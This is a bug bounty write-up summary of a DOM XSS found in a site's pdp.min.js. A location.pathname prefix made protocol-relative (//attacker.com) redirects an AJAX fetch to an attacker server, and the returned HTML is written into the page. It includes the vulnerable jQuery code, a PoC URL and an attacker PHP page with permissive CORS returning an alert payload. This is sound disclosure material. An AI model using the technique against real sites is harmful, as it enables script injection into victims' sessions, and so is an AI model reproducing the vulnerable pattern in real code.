# BugBounty | A Dom Xss

DOM XSS via location.pathname used as AJAX URL prefix; protocol-relative path //attacker.com redirects request to attacker server whose HTML is written into the page.

- Payout: unconfirmed
- Severity: medium
- Program: -
- Found by: Jinone
- Disclosed: 2019-12-24
- Write-up quality: 6/10
- Original: https://jinone.github.io/bugbounty-a-dom-xss/
- Library page: https://bugbountylibrary.com/r/blog%3Ajinone-github-io-bugbounty-a-dom-xss
- Tags: area:web domain:web impact:integrity kind:bounty platform:blog sev:medium technique:source-review vuln:open-redirect vuln:xss

**Target:** pdp.min.js product redemption AJAX endpoint
**Root cause:** Client-side JS builds an AJAX URL by concatenating location.pathname with a query string; pathname is attacker-controllable and a leading // makes the URL protocol-relative to an external host.
**Steps:**
1. Read pdp.min.js and note `var prefix = location.pathname; var url = prefix + "/showProductRedemption?productCode=" + vpCode;` fetched via `$.ajax` with `dataType: "html"`.
2. Craft URL `https://www.xxxxx.com//attacker.com/xxxxxxxxx` so `location.pathname` is `//attacker.com/xxxxxxxxx`.
3. Host attacker page returning `<script>alert(1);</script>` with permissive CORS headers.
4. Victim visits the crafted URL; AJAX requests `https://attacker.com/xxxxxxxxx` and response is written to the page via `PDP.AjaxResponse.showProductRedemption(res)`, executing the script.
**How found:** Reviewing requests led to inspecting the JS file; a suspicious AJAX block that concatenated location.pathname into the request URL stood out, prompting the protocol-relative path trick.
**Exploitation:** Attacker hosts a page echoing an XSS payload with `Access-Control-Allow-Origin: *`; victim clicking the crafted protocol-relative URL causes the site's own AJAX call to fetch attacker HTML and inject it into the DOM, executing script in the target origin.
**Insight:** When client JS concatenates location.pathname/hash into a request URL, test a leading `//host` to turn it protocol-relative and redirect the fetch off-origin; if the response is written to the DOM, that becomes DOM XSS.

## Proof of concept (copied exactly from the original report)

**Vulnerable ajax code using location.pathname**

```
var prefix = location.pathname;
 var url = prefix + "/showProductRedemption?productCode=" + vpCode;
 $.ajax({
 url: url,
 type: "GET",
 dataType: "html",
 success: function(res) {
 PDP.AjaxResponse.showProductRedemption(res);
 },
 error: function(res) {
 console.error(res);
 }
 });
```

**PoC URL with protocol-relative pathname**

```
https://www.xxxxx.com//attacker.com/xxxxxxxxx

location.pathname is //attacker.com/xxxxxxxxx

//attacker.com = https://attacker.com


ajax will request https://attacker.com/xxxxxxxxx for the response content
```

**Attacker PHP page returning XSS payload**

```
<?php
header("Access-Control-Allow-Origin: *");
header("Access-Control-Allow-Credentials: true");
header("Access-Control-Request-Methods:GET, POST, PUT, DELETE, OPTIONS");

echo '<script>alert(1);</script>';
?>
```